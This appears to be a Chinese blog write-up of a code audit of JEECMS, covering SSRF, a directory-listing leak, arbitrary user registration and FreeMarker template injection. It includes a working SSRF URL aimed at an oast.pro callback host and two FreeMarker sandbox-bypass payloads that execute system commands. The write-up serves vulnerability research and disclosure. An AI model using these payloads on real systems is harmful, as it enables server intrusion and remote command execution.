美文网首页代码审计
某小众非知名cms代码审计

某小众非知名cms代码审计

作者: book4yi | 来源:发表于2024-02-25 16:32 被阅读0次

简要分析:


从官网的论坛上没有找到开发文档,从jeecms-parent/jeecms-common/pom.xml中可以发现应用系统使用了QueryDsl。QueryDsl是一个用于构建类型安全的SQL查询的框架,它可以根据你定义的JPA Entity实体类逆向生成查询类,通过操作查询类完成SQL的操作。从代码中可以发现使用了JPAQueryFactory来构建和执行查询。JPAQueryFactory会自动处理参数的转义和注入,确保查询的安全性,也就是不存在SQL注入的问题。

0x01 服务端请求伪造(SSRF):


源文件位置:src/main/java/com/jeecms/common/base/controller/CommonController.java

@RequestMapping(value = "/loadingImage")
public void loadingImage(HttpServletRequest request, HttpServletResponse response) {
    response.setContentType("image/jpeg");
    String imageUrl = request.getParameter("imageUrl");
    if(imageUrl.startsWith(LIMIT_RES_WX_HTTP) || imageUrl.startsWith(LIMIT_RES_WX_HTTPS)){
        ServletOutputStream out;
        try {
            out = response.getOutputStream();
            out.write(HttpUtil.readURLImage(imageUrl));
            out.close();
        } catch (IOException e) {
            logger.error(e.getMessage());
        }
    }else{
        ServletOutputStream out;
        try {
            out = response.getOutputStream();
            response.setStatus(Response.SC_NOT_FOUND);
            out.close();
        } catch (IOException e) {
            logger.error(e.getMessage());
        }
    }
}

imageUrl用户可控,静态变量LIMIT_RES_WX_HTTP和LIMIT_RES_WX_HTTPS指向域名mmbiz.qpic.cn

这里可以通过@符号进行绕过,然后会调用HttpUtil.readURLImage(imageUrl),最后将imageUrl参数传给readURLImage()方法发送GET请求:

在readURLImage方法还会调用readInputStream()方法获取响应信息,也就是说这是个有回显的SSRF漏洞

漏洞复现:

Payload:http://192.168.0.101:8083/common/loadingImage?imageUrl=http://mmbiz.qpic.cn@cmd5t3kob7ng43s4erq0mdzkjfjsuhbvs.oast.pro/ceshi.jpg

证明截图:

0x02 静态资源信息泄露:


源文件位置:src/main/java/com/jeecms/admin/controller/resource/UeditorUploadAct.java

@RequestMapping(value = "/ueditor/imageManager")
public void imageManager(Integer picNum, Boolean insite, 
        HttpServletRequest request, HttpServletResponse response)
        throws Exception {
    super.imageManager(picNum, insite, request, response);
}

这里会调用父类的imageManager()方法,跟进后发现会调用listFile()方法,传递request对象和请求参数start作为形参。

追踪重点方法listFile(),首先从请求中获取全局配置信息,然后根据配置中的上传路径(/u/cms/www)创建一个File对象,如果目录存在且是一个目录,方法将使用Apache Commons IO 库的FileUtils.listFiles方法获取目录下的所有文件(包括子目录),若start参数在有效范围内,将从文件列表中提取从start开始的20个文件,最后将文件列表的起始索引和总大小添加到状态对象中,并返回该对象。

也就是说,虽然一次只能获取20个文件的信息,我们可以通过多次请求,传参start+=20来获取/u/cms/www目录下的所有文件的路径信息。

漏洞复现:

Payload:http://192.168.0.101:8083/ueditor/imageManager?start=20

漏洞证明:

0x03 任意用户注册:


源文件位置:src/main/java/com/jeecms/front/controller/ThirdPartyLoginController.java

在第291行中,设置了一个URL路径为/bind的映射,将请求体中的数据传输到实体类PcLoginDto对象中

//判断登录方式
if (PcLoginDto.TYPE_LOGIN.equals(dto.getLoginWay())) {
    Boolean validName = memberService.validName(dto.getUsername());
    if (!validName) {
        return new ResponseInfo(UserErrorCodeEnum.USERNAME_ALREADY_EXIST.getCode(),
                UserErrorCodeEnum.USERNAME_ALREADY_EXIST.getDefaultMessage(), false);
    }
    //如果是直接登录,则默认创建会员,密码随机
    user.setPassword(String.valueOf(new SnowFlake(SnowFlake.SHORT_STR_CODE).nextId()));
    // 密码加密
    byte[] salt = Digests.generateSaltFix();
    user.setSalt(Digests.getSaltStr(salt));
    user.setThird(true);
    //新建会员用户
    user = memberService.save(user);
    this.bind(dto, user.getId());

当传递的loginWay=1时,检查username是否已经存在,若不存在则使用SnowFlake算法来生成一个短字符串作为密码,生成随机盐值设置为用户对象的盐值属性,然后调用memberService.save()方法获取一个新的实体类对象,然后执行bind()方法绑定第三方用户:

public void bind(PcLoginDto dto, Integer memberId) throws GlobalException {
    //查询第三方配置信息
    SysThird thirdInfo = thirdService.getCode(dto.getLoginType());
    SysUserThird third = new SysUserThird();
    third.setAppId(thirdInfo.getAppId());
    third.setThirdId(dto.getThirdId());
    third.setThirdUsername(dto.getNickname());
    third.setMemberId(memberId);
    third.setUsername(dto.getUsername());
    third.setThirdTypeCode(dto.getLoginType());
    sysUserThirdService.save(third);
}

综上,请求体中我们需要传递的参数有usernameloginWayloginTypethirdId,username不能是已经存在的用户名,loginWay要求等于1,loginType为QQ、WECHAT、WEIBO其中之一。

漏洞复现:

0x04 模板注入:


使用opensca-cli检查第三方组件漏洞,发现系统存在间接依赖freemarker:2.3.28,该版本存在SSTI漏洞

首先查找文件上传的接口,是否有用户可控,且不限制上传后缀或可被模板渲染解析的后缀。

源文件位置:src/main/java/com/jeecms/member/controller/UploadController.java

此处为注册用户可操作的一处上传接口,重点理解服务端如何处理上传的文件,追踪upload()方法

方法定义:src/main/java/com/jeecms/resource/service/impl/UploadService.java:

在validate()方法中会对上传的文件名进行验证:不允许存在/和空字符:

若指定了上传路径uploadPath,则需满足如下要求: 必须以/u/cms开头,且不得存在字符 ..\../

根据文件内容获取前10个字节的16进制数作为识别文件的标识,若识别到则进行白名单文件检查,否则进行黑名单检查

在doUpload()方法中,首先会根据文件内容判断其是否为图片,当拓展名为空时设置为jpg后缀:

最终调用storeByExt()方法根据拓展名生成一个随机文件名,并调用store()方法上传文件

利用该接口我们可以上传HTML文件至/u/cms/202X0X/目录下,于是找可以模板解析的代码:

源文件位置:src/main/java/com/jeecms/front/controller/FrontCommonController.java

@GetMapping(value = "/{page}.htm")
public String page(@PathVariable String page, HttpServletRequest request, HttpServletResponse response,
        ModelMap model) throws Exception {
    String loginUrl = WebConstants.LOGIN_URL;
    String ctx = request.getContextPath();
    if (StringUtils.isNoneBlank(ctx)) {
        loginUrl = ctx + loginUrl;
    }
    FrontUtils.frontData(request, model);
    FrontUtils.frontPageData(request, model);
    /** 将request中所有参数保存至model中 */
    Map<String, Object> params = RequestUtils.getQueryParams(request);
    if(params!=null){
        Set<String>keySet = params.keySet();
        String uri = request.getRequestURI();
        if (StringUtils.isNoneBlank(ctx)) {
            uri = uri.substring(ctx.length());
        }
        for(String key:keySet){
            if(params.get(key) instanceof String){
                String val = (String) params.get(key);
                if (StrUtils.isStartWithNumber(val) && !StrUtils.isNumeric(val) && !uri.startsWith(WebConstants.SEARCH_PREFIX)) {
                    return FrontUtils.pageNotFound(request, response, model);
                }
                params.put(key,XssUtil.cleanXSS(val));
            }
        }
    }
    model.putAll(params);
    String tpl = FrontUtils.getTplAbsolutePath(request, page, RequestUtils.COMMON_PATH_SEPARATE);
    String view = FrontUtils.getTplPath(request, tpl);
    String viewPath = realPathResolver.get(view);
    boolean tplExist = false;
    if (WebConstants.FREEMARKER_RES_TYPE.equals(freemarkResType)) {
        viewPath = templateLoaderPath + view;
        tplExist = new UrlResource(viewPath).exists();
    } else {
        viewPath = java.text.Normalizer.normalize(viewPath, java.text.Normalizer.Form.NFKD);
        File tplFile = new File(viewPath);
        tplExist = tplFile.exists();
    }
    if (tplExist) {
        return view;
    } else {
        return FrontUtils.pageNotFound(request, response, model);
    }
}

模板文件默认存放位置:/r/cms/www/default

首先调用FrontUtils.frontData(request, model)FrontUtils.frontPageData(request, model)会将系统的一些配置信息如模板文件默认存放位置/r/cms/www/default及部分访问路径信息保存在model中,通过利用org.springframework.ui.ModelMap,在model上添加对象,model是以map的形式存储的,这里的key和模板里是对应的,freemarker就是通过key来取得value的进行渲染。

然后调用FrontUtils.getTplAbsolutePath()方法,当 path 中存在-时,会以/进行替换。该方法用于获取模板的绝对路径。

由于在新版本freemarker中, 多了一个TemplateClassResolver.SAFER_RESOLVER配置。禁止加载ObjectConstructorExecutefreemarker.template.utility.JythonRuntime这三个类。同时为了防御通过其他方式调用恶意方法,FreeMarker内置了一份危险方法名单:unsafeMethods.properties

Constructor.newInstance被禁使得我们不能直接实例化对象,Method.invoke被禁使得我们不能直接调用方法。这里要做的是寻找一个类的静态成员对象(public static final),然后执行它的静态方法。

FreeMarker自带的O bjectWrapper类就是一个不错的选择,它的DEFAULT_WRAPPER字段是一个实例化后的O bjectWrapper对象,而O bjectWrapper的newInstance方法(继承自BeansWrapper)可以用于实例化一个类,我们只需要向它传入被禁用的freemarker.template.utility.Execute进行实例化,返回的对象就可以直接用于执行系统命令。

在2.3.30以下,freemaker模版注入存在绕过沙箱的方法:

  • 绕过class.getClassloader反射加载Execute类:
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

通过使用java.security.protectionDomaingetClassLoader方法来获得类加载器再一步一步反射调用Execute类,此payload需要在数据模型中找到一个作为对象的变量,比如从后台模板管理处,编辑index.html,将上面payload中的<<object>>为site:

  • 如果Spring Beans可用,可以直接禁用沙箱:
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}

此payload需要freemarker+spring并设置setExposeSpringMacroHelpers(true)或者在application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true

漏洞复现:

利用条件:JEECMS-Auth-Token

参考如下:


freemarker模版注入 - Escape-w - 博客园
奇安信攻防社区-某内容管理系统RCE漏洞分析

相关文章

  • 基于MVC架构的PHP代审——wuzhicms v4.1.0

    前言: 目前也有几个小众cms的代审经验了,打算尝试对基于MVC架构的PHP项目代码进行审计,争取从审计新手转变成...

  • [代码审计] XIAO CMS审计

    XIAO CMS审计 翻安全客的时候看到xiao cms爆了6个cve审计一下 任意目录删除 上传任意文件 很明显...

  • PHP-Audit-Labs审计学习

    打算在代码审计上入下坑。本来找了个不知名cms想审计一下的。偶然间看到了星盟王叹之师傅在用php-audit-la...

  • 从某cms的xss漏洞来学习代码审计

    本文为原创文章,转载请注明出处! 各位大佬好,小弟的文章主要是通过针对具体的cms(内容管理系统)对一些基本的we...

  • 熊海CMS审计

    环境准备 熊海cms的代码直接搜索一下就能下载到,本次实验的环境使用的mac+XAMPP,先总结下审计这套CMS发...

  • 网络安全审计之CMS代码审计

    0x00:环境说明 Windows 10PhpstubyPhp版本:7.2.9CMS版本:MetInfo7.5.0...

  • 铁人下载CMS代码审计

    简介 初学java代码审计,跟着大佬的审计方案,走一遍审计流程,这个系统没有使用java框架,作为入门不错。主要作...

  • MetInfo CMS 5.1.4 变量覆盖漏洞挖掘

    从官网上下载好MetInfo 5.1.4CMS版本漏洞,安装后进行代码审计 漏洞位置:D:\phpStudy\WW...

  • 【某CMS漏洞】SQL注入漏洞分析

    前言 这个CMS非常适合入门代码审计的人去学习,因为代码简单且漏洞成因经典,对一些新手有学习价值, 前台注入 从入...

  • [代码审计]Mini CMS V1.1

    为什么最近老是在做代码审计呐?一是想要学习其他优秀开发者的架构和设计模式,二是挖掘一下开发者在开发过程中不严谨之处...

网友评论

    本文标题:某小众非知名cms代码审计

    本文链接:https://www.haomeiwen.com/subject/njlendtx.html